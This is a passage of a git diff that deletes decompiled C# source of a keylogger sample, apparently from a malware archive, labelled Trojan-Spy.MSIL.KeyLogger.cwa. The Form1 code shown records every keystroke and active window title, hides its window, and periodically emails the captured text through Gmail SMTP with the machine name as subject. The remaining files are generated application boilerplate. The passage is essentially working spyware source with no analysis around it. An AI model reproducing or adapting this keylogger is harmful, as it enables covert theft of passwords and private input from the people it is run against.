| !this.CAPSLOCKON() & num1 != 0 & (num7 & 1) == 1) - this.TextBox1.Text += "F"; - if (!this.CAPSLOCKON() & num1 == 0 & (num7 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num7 & 1) == 1) - this.TextBox1.Text += "f"; - int num8 = (int) Form1.Getasynckeystate(71); - if (this.CAPSLOCKON() & num1 == 0 & (num8 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num8 & 1) == 1) - this.TextBox1.Text += "G"; - if (!this.CAPSLOCKON() & num1 == 0 & (num8 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num8 & 1) == 1) - this.TextBox1.Text += "g"; - int num9 = (int) Form1.Getasynckeystate(72); - if (this.CAPSLOCKON() & num1 == 0 & (num9 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num9 & 1) == 1) - this.TextBox1.Text += "H"; - if (!this.CAPSLOCKON() & num1 == 0 & (num9 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num9 & 1) == 1) - this.TextBox1.Text += "h"; - int num10 = (int) Form1.Getasynckeystate(73); - if (this.CAPSLOCKON() & num1 == 0 & (num10 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num10 & 1) == 1) - this.TextBox1.Text += "I"; - if (!this.CAPSLOCKON() & num1 == 0 & (num10 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num10 & 1) == 1) - this.TextBox1.Text += "i"; - int num11 = (int) Form1.Getasynckeystate(74); - if (this.CAPSLOCKON() & num1 == 0 & (num11 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num11 & 1) == 1) - this.TextBox1.Text += "J"; - if (!this.CAPSLOCKON() & num1 == 0 & (num11 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num11 & 1) == 1) - this.TextBox1.Text += "j"; - int num12 = (int) Form1.Getasynckeystate(75); - if (this.CAPSLOCKON() & num1 == 0 & (num12 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num12 & 1) == 1) - this.TextBox1.Text += "K"; - if (!this.CAPSLOCKON() & num1 == 0 & (num12 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num12 & 1) == 1) - this.TextBox1.Text += "k"; - int num13 = (int) Form1.Getasynckeystate(76); - if (this.CAPSLOCKON() & num1 == 0 & (num13 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num13 & 1) == 1) - this.TextBox1.Text += "L"; - if (!this.CAPSLOCKON() & num1 == 0 & (num13 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num13 & 1) == 1) - this.TextBox1.Text += "l"; - int num14 = (int) Form1.Getasynckeystate(77); - if (this.CAPSLOCKON() & num1 == 0 & (num14 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num14 & 1) == 1) - this.TextBox1.Text += "M"; - if (!this.CAPSLOCKON() & num1 == 0 & (num14 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num14 & 1) == 1) - this.TextBox1.Text += "m"; - int num15 = (int) Form1.Getasynckeystate(78); - if (this.CAPSLOCKON() & num1 == 0 & (num15 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num15 & 1) == 1) - this.TextBox1.Text += "N"; - if (!this.CAPSLOCKON() & num1 == 0 & (num15 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num15 & 1) == 1) - this.TextBox1.Text += "n"; - int num16 = (int) Form1.Getasynckeystate(79); - if (this.CAPSLOCKON() & num1 == 0 & (num16 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num16 & 1) == 1) - this.TextBox1.Text += "O"; - if (!this.CAPSLOCKON() & num1 == 0 & (num16 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num16 & 1) == 1) - this.TextBox1.Text += "o"; - int num17 = (int) Form1.Getasynckeystate(80); - if (this.CAPSLOCKON() & num1 == 0 & (num17 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num17 & 1) == 1) - this.TextBox1.Text += "P"; - if (!this.CAPSLOCKON() & num1 == 0 & (num17 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num17 & 1) == 1) - this.TextBox1.Text += "p"; - int num18 = (int) Form1.Getasynckeystate(81); - if (this.CAPSLOCKON() & num1 == 0 & (num18 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num18 & 1) == 1) - this.TextBox1.Text += "Q"; - if (!this.CAPSLOCKON() & num1 == 0 & (num18 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num18 & 1) == 1) - this.TextBox1.Text += "q"; - int num19 = (int) Form1.Getasynckeystate(82); - if (this.CAPSLOCKON() & num1 == 0 & (num19 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num19 & 1) == 1) - this.TextBox1.Text += "R"; - if (!this.CAPSLOCKON() & num1 == 0 & (num19 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num19 & 1) == 1) - this.TextBox1.Text += "r"; - int num20 = (int) Form1.Getasynckeystate(83); - if (this.CAPSLOCKON() & num1 == 0 & (num20 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num20 & 1) == 1) - this.TextBox1.Text += "S"; - if (!this.CAPSLOCKON() & num1 == 0 & (num20 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num20 & 1) == 1) - this.TextBox1.Text += "s"; - int num21 = (int) Form1.Getasynckeystate(84); - if (this.CAPSLOCKON() & num1 == 0 & (num21 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num21 & 1) == 1) - this.TextBox1.Text += "T"; - if (!this.CAPSLOCKON() & num1 == 0 & (num21 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num21 & 1) == 1) - this.TextBox1.Text += "t"; - int num22 = (int) Form1.Getasynckeystate(85); - if (this.CAPSLOCKON() & num1 == 0 & (num22 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num22 & 1) == 1) - this.TextBox1.Text += "U"; - if (!this.CAPSLOCKON() & num1 == 0 & (num22 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num22 & 1) == 1) - this.TextBox1.Text += "u"; - int num23 = (int) Form1.Getasynckeystate(86); - if (this.CAPSLOCKON() & num1 == 0 & (num23 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num23 & 1) == 1) - this.TextBox1.Text += "V"; - if (!this.CAPSLOCKON() & num1 == 0 & (num23 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num23 & 1) == 1) - this.TextBox1.Text += "v"; - int num24 = (int) Form1.Getasynckeystate(87); - if (this.CAPSLOCKON() & num1 == 0 & (num24 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num24 & 1) == 1) - this.TextBox1.Text += "W"; - if (!this.CAPSLOCKON() & num1 == 0 & (num24 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num24 & 1) == 1) - this.TextBox1.Text += "w"; - int num25 = (int) Form1.Getasynckeystate(88); - if (this.CAPSLOCKON() & num1 == 0 & (num25 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num25 & 1) == 1) - this.TextBox1.Text += "X"; - if (!this.CAPSLOCKON() & num1 == 0 & (num25 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num25 & 1) == 1) - this.TextBox1.Text += "x"; - int num26 = (int) Form1.Getasynckeystate(89); - if (this.CAPSLOCKON() & num1 == 0 & (num26 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num26 & 1) == 1) - this.TextBox1.Text += "Y"; - if (!this.CAPSLOCKON() & num1 == 0 & (num26 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num26 & 1) == 1) - this.TextBox1.Text += "y"; - int num27 = (int) Form1.Getasynckeystate(90); - if (this.CAPSLOCKON() & num1 == 0 & (num27 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num27 & 1) == 1) - this.TextBox1.Text += "Z"; - if (!this.CAPSLOCKON() & num1 == 0 & (num27 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num27 & 1) == 1) - this.TextBox1.Text += "z"; - int num28 = (int) Form1.Getasynckeystate(49); - if (num1 == 0 & (num28 & 1) == 1) - this.TextBox1.Text += "1"; - if (num1 != 0 & (num28 & 1) == 1) - this.TextBox1.Text += "!"; - int num29 = (int) Form1.Getasynckeystate(50); - if (num1 == 0 & (num29 & 1) == 1) - this.TextBox1.Text += "2"; - if (num1 != 0 & (num29 & 1) == 1) - this.TextBox1.Text += "@"; - int num30 = (int) Form1.Getasynckeystate(51); - if (num1 == 0 & (num30 & 1) == 1) - this.TextBox1.Text += "3"; - if (num1 != 0 & (num30 & 1) == 1) - this.TextBox1.Text += "#"; - int num31 = (int) Form1.Getasynckeystate(52); - if (num1 == 0 & (num31 & 1) == 1) - this.TextBox1.Text += "4"; - if (num1 != 0 & (num31 & 1) == 1) - this.TextBox1.Text += "$"; - int num32 = (int) Form1.Getasynckeystate(53); - if (num1 == 0 & (num32 & 1) == 1) - this.TextBox1.Text += "5"; - if (num1 != 0 & (num32 & 1) == 1) - this.TextBox1.Text += "%"; - int num33 = (int) Form1.Getasynckeystate(54); - if (num1 == 0 & (num33 & 1) == 1) - this.TextBox1.Text += "6"; - if (num1 != 0 & (num33 & 1) == 1) - this.TextBox1.Text += "^"; - int num34 = (int) Form1.Getasynckeystate(55); - if (num1 == 0 & (num34 & 1) == 1) - this.TextBox1.Text += "7"; - if (num1 != 0 & (num34 & 1) == 1) - this.TextBox1.Text += "&"; - int num35 = (int) Form1.Getasynckeystate(56); - if (num1 == 0 & (num35 & 1) == 1) - this.TextBox1.Text += "8"; - if (num1 != 0 & (num35 & 1) == 1) - this.TextBox1.Text += "*"; - int num36 = (int) Form1.Getasynckeystate(57); - if (num1 == 0 & (num36 & 1) == 1) - this.TextBox1.Text += "9"; - if (num1 != 0 & (num36 & 1) == 1) - this.TextBox1.Text += "("; - int num37 = (int) Form1.Getasynckeystate(48); - if (num1 == 0 & (num37 & 1) == 1) - this.TextBox1.Text += "0"; - if (num1 != 0 & (num37 & 1) == 1) - this.TextBox1.Text += ")"; - if (((int) Form1.Getasynckeystate(8) & 1) == 1) - this.TextBox1.Text += "{backspace}"; - if (((int) Form1.Getasynckeystate(9) & 1) == 1) - this.TextBox1.Text += "{tab}"; - if (((int) Form1.Getasynckeystate(13) & 1) == 1) - this.TextBox1.Text += "\r\n"; - if (((int) Form1.Getasynckeystate(16) & 1) == 1) - this.TextBox1.Text += "{shift}"; - if (((int) Form1.Getasynckeystate(17) & 1) == 1) - this.TextBox1.Text += "{ctrl}"; - if (((int) Form1.Getasynckeystate(18) & 1) == 1) - this.TextBox1.Text += "{alt}"; - if (((int) Form1.Getasynckeystate(19) & 1) == 1) - this.TextBox1.Text += "{pause}"; - if (((int) Form1.Getasynckeystate(27) & 1) == 1) - this.TextBox1.Text += "{esc}"; - if (((int) Form1.Getasynckeystate(32) & 1) == 1) - this.TextBox1.Text += " "; - if (((int) Form1.Getasynckeystate(35) & 1) == 1) - this.TextBox1.Text += "{end}"; - if (((int) Form1.Getasynckeystate(36) & 1) == 1) - this.TextBox1.Text += "{home}"; - if (((int) Form1.Getasynckeystate(37) & 1) == 1) - this.TextBox1.Text += "{left}"; - if (((int) Form1.Getasynckeystate(39) & 1) == 1) - this.TextBox1.Text += "{right}"; - if (((int) Form1.Getasynckeystate(38) & 1) == 1) - this.TextBox1.Text += "{up}"; - if (((int) Form1.Getasynckeystate(40) & 1) == 1) - this.TextBox1.Text += "{down}"; - if (((int) Form1.Getasynckeystate(45) & 1) == 1) - this.TextBox1.Text += "{insert}"; - if (((int) Form1.Getasynckeystate(46) & 1) == 1) - this.TextBox1.Text += "{Delete}"; - int num38 = (int) Form1.Getasynckeystate(186); - if (num1 == 0 & (num38 & 1) == 1) - this.TextBox1.Text += ";"; - if (num1 != 0 & (num38 & 1) == 1) - this.TextBox1.Text += ":"; - int num39 = (int) Form1.Getasynckeystate(187); - if (num1 == 0 & (num39 & 1) == 1) - this.TextBox1.Text += "="; - if (num1 != 0 & (num39 & 1) == 1) - this.TextBox1.Text += "+"; - int num40 = (int) Form1.Getasynckeystate(188); - if (num1 == 0 & (num40 & 1) == 1) - this.TextBox1.Text += ","; - if (num1 != 0 & (num40 & 1) == 1) - this.TextBox1.Text += "<"; - int num41 = (int) Form1.Getasynckeystate(189); - if (num1 == 0 & (num41 & 1) == 1) - this.TextBox1.Text += "-"; - if (num1 != 0 & (num41 & 1) == 1) - this.TextBox1.Text += "_"; - int num42 = (int) Form1.Getasynckeystate(190); - if (num1 == 0 & (num42 & 1) == 1) - this.TextBox1.Text += "."; - if (num1 != 0 & (num42 & 1) == 1) - this.TextBox1.Text += ">"; - int num43 = (int) Form1.Getasynckeystate(191); - if (num1 == 0 & (num43 & 1) == 1) - this.TextBox1.Text += "/"; - if (num1 != 0 & (num43 & 1) == 1) - this.TextBox1.Text += "?"; - int num44 = (int) Form1.Getasynckeystate(192); - if (num1 == 0 & (num44 & 1) == 1) - this.TextBox1.Text += "`"; - if (num1 != 0 & (num44 & 1) == 1) - this.TextBox1.Text += "~"; - int num45 = (int) Form1.Getasynckeystate(219); - if (num1 == 0 & (num45 & 1) == 1) - this.TextBox1.Text += "["; - if (num1 != 0 & (num45 & 1) == 1) - this.TextBox1.Text += "{"; - int num46 = (int) Form1.Getasynckeystate(220); - if (num1 == 0 & (num46 & 1) == 1) - this.TextBox1.Text += "\\"; - if (num1 != 0 & (num46 & 1) == 1) - this.TextBox1.Text += "|"; - int num47 = (int) Form1.Getasynckeystate(221); - if (num1 == 0 & (num47 & 1) == 1) - this.TextBox1.Text += "]"; - if (num1 != 0 & (num47 & 1) == 1) - this.TextBox1.Text += "}"; - int num48 = (int) Form1.Getasynckeystate(222); - if (num1 == 0 & (num48 & 1) == 1) - this.TextBox1.Text += "'"; - if (num1 != 0 & (num48 & 1) == 1) - this.TextBox1.Text += "\""; - if (((int) Form1.Getasynckeystate(106) & 1) == 1) - this.TextBox1.Text += "*"; - if (((int) Form1.Getasynckeystate(111) & 1) == 1) - this.TextBox1.Text += "/"; - if (((int) Form1.Getasynckeystate(107) & 1) == 1) - this.TextBox1.Text += "+"; - if (((int) Form1.Getasynckeystate(109) & 1) == 1) - this.TextBox1.Text += "-"; - if (((int) Form1.Getasynckeystate(110) & 1) == 1) - this.TextBox1.Text += "{Del}"; - if (((int) Form1.Getasynckeystate(112) & 1) == 1) - this.TextBox1.Text += "{F1}"; - if (((int) Form1.Getasynckeystate(113) & 1) == 1) - this.TextBox1.Text += "{F2}"; - if (((int) Form1.Getasynckeystate(114) & 1) == 1) - this.TextBox1.Text += "{F3}"; - if (((int) Form1.Getasynckeystate(115) & 1) == 1) - this.TextBox1.Text += "{F4}"; - if (((int) Form1.Getasynckeystate(116) & 1) == 1) - this.TextBox1.Text += "{F5}"; - if (((int) Form1.Getasynckeystate(117) & 1) == 1) - this.TextBox1.Text += "{F6}"; - if (((int) Form1.Getasynckeystate(118) & 1) == 1) - this.TextBox1.Text += "{F7}"; - if (((int) Form1.Getasynckeystate(119) & 1) == 1) - this.TextBox1.Text += "{F8}"; - if (((int) Form1.Getasynckeystate(120) & 1) == 1) - this.TextBox1.Text += "{F9}"; - if (((int) Form1.Getasynckeystate(121) & 1) == 1) - this.TextBox1.Text += "{F10}"; - if (((int) Form1.Getasynckeystate(122) & 1) == 1) - this.TextBox1.Text += "{F11}"; - int num49 = (int) Form1.Getasynckeystate(123); - if (num1 == 0 & (num49 & 1) == 1) - this.TextBox1.Text += "{F12}"; - if (num1 != 0 & (num49 & 1) == 1) - { - this.Visible = true; - Form1.RegisterServiceProcess(0, 0); - } - if (((int) Form1.Getasynckeystate(144) & 1) == 1) - this.TextBox1.Text += "{NumLock}"; - if (((int) Form1.Getasynckeystate(145) & 1) == 1) - this.TextBox1.Text += "{ScrollLock}"; - if (((int) Form1.Getasynckeystate(42) & 1) == 1) - this.TextBox1.Text += "{PrintScreen}"; - if (((int) Form1.Getasynckeystate(33) & 1) == 1) - this.TextBox1.Text += "{PageUp}"; - if (((int) Form1.Getasynckeystate(34) & 1) == 1) - this.TextBox1.Text += "{Pagedown}"; - if (((int) Form1.Getasynckeystate(97) & 1) == 1) - this.TextBox1.Text += "1"; - if (((int) Form1.Getasynckeystate(98) & 1) == 1) - this.TextBox1.Text += "2"; - if (((int) Form1.Getasynckeystate(99) & 1) == 1) - this.TextBox1.Text += "3"; - if (((int) Form1.Getasynckeystate(100) & 1) == 1) - this.TextBox1.Text += "4"; - if (((int) Form1.Getasynckeystate(101) & 1) == 1) - this.TextBox1.Text += "5"; - if (((int) Form1.Getasynckeystate(102) & 1) == 1) - this.TextBox1.Text += "6"; - if (((int) Form1.Getasynckeystate(103) & 1) == 1) - this.TextBox1.Text += "7"; - if (((int) Form1.Getasynckeystate(104) & 1) == 1) - this.TextBox1.Text += "8"; - if (((int) Form1.Getasynckeystate(105) & 1) == 1) - this.TextBox1.Text += "9"; - if (((int) Form1.Getasynckeystate(96) & 1) == 1) - this.TextBox1.Text += "0"; - if (((int) Form1.Getasynckeystate(17) & 1) != 1) - return; - this.TextBox1.Text += "{Ctrl}"; - } - - public void MainEvents() - { - try - { - new SmtpClient("smtp.gmail.com") - { - Port = 587, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.TextBox2.Text), - To = { - this.TextBox2.Text - }, - Subject = Environment.MachineName, - Body = this.TextBox1.Text - }); - this.TextBox1.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void Timer3_Tick(object sender, EventArgs e) => this.TextBox1.Text = this.TextBox1.Text + "\r\n" + this.GetActiveWindowTitle() + "\r\n"; - - private void Timer2_Tick(object sender, EventArgs e) - { - if (Operators.CompareString(this.TextBox1.Text, "", false) == 0) - return; - this.MainEvents(); - } - - private void Timer4_Tick(object sender, EventArgs e) - { - this.Hide(); - this.Visible = false; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyApplication.cs deleted file mode 100644 index 607a6dbf..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyApplication.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.My.MyApplication -// Assembly: Stub, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: 70DF123C-965E-4C93-87DF-CF54B583BA08 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Stub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - private static ArrayList __ENCList = new ArrayList(); - - [DebuggerNonUserCode] - static MyApplication() - { - } - - [DebuggerHidden] - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - MyApplication.__ENCList.Add((object) new WeakReference((object) this)); - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyComputer.cs deleted file mode 100644 index c03c2494..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.My.MyComputer -// Assembly: Stub, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: 70DF123C-965E-4C93-87DF-CF54B583BA08 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Stub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyProject.cs deleted file mode 100644 index fc228198..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.My.MyProject -// Assembly: Stub, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: 70DF123C-965E-4C93-87DF-CF54B583BA08 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Stub.My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettings.cs 